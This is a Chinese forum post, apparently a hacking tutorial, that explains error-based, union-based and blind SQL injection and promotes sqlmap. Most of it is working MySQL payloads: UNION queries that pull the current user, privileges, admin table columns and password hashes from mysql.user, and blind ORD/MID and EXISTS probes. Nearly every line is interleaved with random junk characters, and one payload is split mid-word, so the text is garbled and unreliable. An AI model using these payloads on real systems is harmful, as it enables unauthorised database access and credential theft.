放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。0 f" k" V: P1 G
' `/ {- o: n0 M; E5 J8 X
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
+ Y+ t' a: @1 q( p; B3 s% Z h / w% X4 w% E$ L0 p
分类标准 分类 备注
6 u1 T1 f# O7 }$ J按字段类型 整型注入,字符型注入
3 ~' H6 p1 x/ s6 {& `. s按出现的位置 get注入,post注入,cookie注入,http header注入 & M- g' L4 d/ l6 I! H; e7 s4 b
然而高级注入是这样的& P6 h& J4 ]# N# I$ J
! S1 ? u/ ]7 {( H# E高级注入分类 条件! O( t q& G$ d7 `# `! ]6 A8 {0 X0 }0 }
error-based sql 数据库的错误回显可以返回,存在数据库,表结构3 G& r5 f- q9 r" W) U2 q/ I
union-based sql 能够使用union,存在数据库,表结构 E" Z3 U ^2 x7 ?" l9 i9 u; {
blind sql 存在注入# V6 [; }: N# F7 i# T7 R
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。 t/ N" t0 L4 q# e- m+ G' F3 ^
% O6 V; H& q9 `; o好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火, S) I. J8 c6 p0 z! D4 `5 }1 z
$ n- F: A9 J* e: F g附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。3 T7 _8 U0 R! E2 D
! h$ Q. x2 C& s5 D- T+ M/ Z+ {这里用mysql说明. I6 h! S2 D5 S* M
, G% F3 T# u8 L$ L8 ee注入坛子里很多了,请看戳我或者再戳我
2 Y8 U0 n& q) P7 i3 |, f/ ]6 R # x7 C3 n# q1 F
u注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
: S& N8 K. R L; I: V, v& Y ; \& X1 D. p! \! ?
获取当前数据库用户名
1 O3 C0 w* I* r. Q) [& G A% y# H $ V9 l0 c7 p/ o% L: H
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C0 G6 o' `6 I1 ~1 d% M; s1 q4 I
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
- \" e% l# `4 l/ ?! m% K( a, PL, NULL#5 B" E) V- ?+ j% L& v& D6 {8 S; n; R
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。$ l6 M3 P% @6 M; j
) ^# ?9 J4 N* ]. B4 g: o
获取数据库名
/ x$ n9 |1 {( U% w1 v: B4 e, G ! Q( u* `5 ~7 n: I. i6 [: y
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
$ ^2 O5 V$ w; Z" e+ g8 B7 x8 h+ A获取所有用户名
8 z; m; W3 }# G v; W( I4 A0 X
0 K9 z5 C9 c9 k$ H3 [, TUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
8 f" J8 y4 F0 g0 S: s查看当前用户权限3 x0 `( C4 c( I5 Z: G& O
: G) A( u0 [) n: m$ R5 ^
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
1 R6 }' N1 n$ F, |7 P! ^& N尝试获取密码,当然需要有能读mysql数据库的权限
' {' S: E" \8 s* ~" D
, M) d; _+ b' w3 EUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#2 g4 o" v- S- X0 |
获取表名,limit什么的自己搞啦
/ `& F( ` N! } u" \- W . K! M/ g K/ j& A$ }
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
: J5 h1 V& X; j# ^/ F" A获取字段名及其类型
+ a& d y3 ?$ W- a D0 }UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
) @" c! E& S& ?2 _% t) S4 G* f2 M$ w
. _1 g9 v+ l* {0 j% Qb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。' B1 n7 r# f' _) J1 L" n
8 C/ y+ d1 i7 c如:) R& e b- g2 i2 \- V( X
获取当前用户名
; \8 N8 J1 h4 o# _, Y) ~- n! x* @ - b9 e s$ J' H5 Z5 _
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 1160 O5 c+ }: l$ F4 j$ s0 n
获取当前数据库
4 H f; i: c1 V* W6 @/ d2 d4 Y ) e( F3 ?9 h7 z/ m( g( l" c" r3 b/ N
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 1063 |, S$ `9 P B3 ~5 w9 s- K8 p) C
获取表名" M9 w4 r; L" z5 m
0 n) M# t* A# t8 p1 E; U2 m3 FAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
7 d* f" h w. e4 c; ]获取字段名及其类型和爆内容就不说了,改改上面的就可以了。0 |1 G8 A' B" l) l9 _
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。* Z% n3 }4 @* k
爆表
- O/ z- _4 p' L4 O8 V2 j0 Y
- e6 t- V* M g1 n2 k# oAND EXISTS(select * from table)+ p0 E+ h* h3 {2 \3 q8 @2 C6 i3 T
爆字段
# ]: V# v. \+ p : g9 a) R9 m8 ]' Q. G
AND EXISTS(select pwd from table)
3 B: ]! v. I) P/ U' u& m) K盲注的变化就比较多了,由于篇幅,只是举个例子而已。
( n" X% x# p* G; Q! W S+ z4 d) t ; N( d0 S* f9 D! T
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。8 o8 Z# b+ I# J ?% H8 y$ r
|